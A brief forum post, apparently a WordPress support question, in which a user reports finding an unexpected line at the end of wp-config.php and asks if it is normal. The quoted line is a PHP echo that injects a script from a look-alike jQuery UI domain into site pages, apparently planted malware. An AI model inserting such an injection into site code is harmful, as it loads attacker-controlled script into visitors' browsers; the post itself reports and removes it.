White space – garbage in wpconfig

Hi,
Got some issues with backups and brought to the page about white space.
As a last try I checked the wpconfig file and it had this junk at the end of the file:

echo "<script type=\"text/javascript\" src=\"https://jquery-ui.icu/jquery-ui.js\"></script>";

Is that normal?
The problem ended when I removed that.
Greetings